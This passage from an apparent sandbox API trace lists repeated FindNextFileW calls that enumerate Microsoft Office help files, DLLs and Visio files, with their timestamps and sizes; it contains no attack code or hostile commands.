ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_COL.HXT", cAlternateFileName="")) returned 1 [0075.228] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_F_COL.HXK", cAlternateFileName="")) returned 1 [0075.228] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_K_COL.HXK", cAlternateFileName="")) returned 1 [0075.228] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x8d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVAC.VSL", cAlternateFileName="")) returned 1 [0075.228] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ede00, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7ede00, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x77f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACDIFF.VRD", cAlternateFileName="")) returned 1 [0075.228] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ede00, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7ede00, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x51d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACDUCT.VRD", cAlternateFileName="")) returned 1 [0075.228] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x75790, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFINTL.DLL", cAlternateFileName="")) returned 1 [0075.228] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98679500, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98679500, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x174d06, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH.HXS", cAlternateFileName="")) returned 1 [0075.228] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98679500, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98679500, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x697e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR.HXS", cAlternateFileName="")) returned 1 [0075.228] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR_COL.HXC", cAlternateFileName="")) returned 1 [0075.228] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc29600, ftCreationTime.dwHighDateTime=0x1c59321, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcc29600, ftLastWriteTime.dwHighDateTime=0x1c59321, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR_COL.HXT", cAlternateFileName="")) returned 1 [0075.228] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc29600, ftCreationTime.dwHighDateTime=0x1c59321, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcc29600, ftLastWriteTime.dwHighDateTime=0x1c59321, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR_F_COL.HXK", cAlternateFileName="")) returned 1 [0075.228] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc29600, ftCreationTime.dwHighDateTime=0x1c59321, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcc29600, ftLastWriteTime.dwHighDateTime=0x1c59321, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR_K_COL.HXK", cAlternateFileName="")) returned 1 [0075.228] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH_COL.HXC", cAlternateFileName="")) returned 1 [0075.228] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8c8500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f8c8500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH_COL.HXT", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8c8500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f8c8500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH_F_COL.HXK", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8c8500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f8c8500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH_K_COL.HXK", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x108a400, ftCreationTime.dwHighDateTime=0x1c56bc5, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x108a400, ftLastWriteTime.dwHighDateTime=0x1c56bc5, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x0, dwReserved1=0x0, cFileName="INSTLIST.VRD", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37deba00, ftCreationTime.dwHighDateTime=0x1c56bc5, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x37deba00, ftLastWriteTime.dwHighDateTime=0x1c56bc5, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="INVENTRY.VRD", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3491f00, ftCreationTime.dwHighDateTime=0x1ca0f52, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3491f00, ftLastWriteTime.dwHighDateTime=0x1ca0f52, nFileSizeHigh=0x0, nFileSizeLow=0x2bc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Invite or Link.one", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x22a590, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPDSINTL.DLL", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xd7b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPEDINTL.DLL", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x3e7b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPOLKINTL.DLL", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f81800, ftCreationTime.dwHighDateTime=0x1c913a0, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66f81800, ftLastWriteTime.dwHighDateTime=0x1c913a0, nFileSizeHigh=0x0, nFileSizeLow=0x3cebf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Issue Tracking.gta", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x509e9560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="JADE.CSS", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe69b00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50a35820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xafe69b00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x9980, dwReserved0=0x0, dwReserved1=0x0, cFileName="LGND.VSL", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x112970, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x1a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x907d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPISHELLR.DLL", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50aa7c40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x100fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MERES.DLL", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe105a200, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x1ba28770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe105a200, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x6cf68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.DLL", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7146200, ftCreationTime.dwHighDateTime=0x1cab7cc, ftLastAccessTime.dwLowDateTime=0x1ba28770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7146200, ftLastWriteTime.dwHighDateTime=0x1cab7cc, nFileSizeHigh=0x0, nFileSizeLow=0x9b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b00b00, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50aa7c40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1b00b00, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x58c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOVE.VRD", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50aa7c40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x3178, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPXRES.DLL", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e84c00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x153cd570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88e84c00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0xa3f874, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.DEV.HXS", cAlternateFileName="")) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0x153cd570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37e4c000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153cd570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37e4c000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37e4c000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153cd570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37e4c000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37e4c000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153cd570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37e4c000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e84c00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x153f36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88e84c00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x3b2c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.HXS", cAlternateFileName="")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0x153f36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_COL.HXC", cAlternateFileName="")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33200c00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153f36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33200c00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_COL.HXT", cAlternateFileName="")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33200c00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153f36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33200c00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_F_COL.HXK", cAlternateFileName="")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33200c00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153f36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33200c00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_K_COL.HXK", cAlternateFileName="")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x127f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSAIN.DLL", cAlternateFileName="")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x589e0a00, ftCreationTime.dwHighDateTime=0x1c99224, ftLastAccessTime.dwLowDateTime=0x980ce30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x589e0a00, ftLastWriteTime.dwHighDateTime=0x1c99224, nFileSizeHigh=0x0, nFileSizeLow=0x9382, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe15bf200, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe15bf200, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x69560, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC.HXS", cAlternateFileName="")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c107b00, ftCreationTime.dwHighDateTime=0x1ca77cf, ftLastAccessTime.dwLowDateTime=0xeeedb470, 